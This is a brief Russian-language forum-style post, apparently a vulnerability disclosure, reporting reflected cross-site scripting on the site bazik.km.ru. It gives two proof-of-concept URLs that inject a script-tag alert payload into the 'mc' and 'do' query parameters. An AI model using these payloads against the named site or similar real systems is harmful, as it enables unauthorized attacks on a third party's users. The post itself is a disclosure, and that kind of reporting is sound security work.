Ничего особенного...
Имеется XSS...
Например...

_http://bazik.km.ru/?set=forum&mc='><script>alert(/xss/)</script>
_http://bazik.km.ru/?set=news&mc=add&do='><script>alert(/xss/)</script>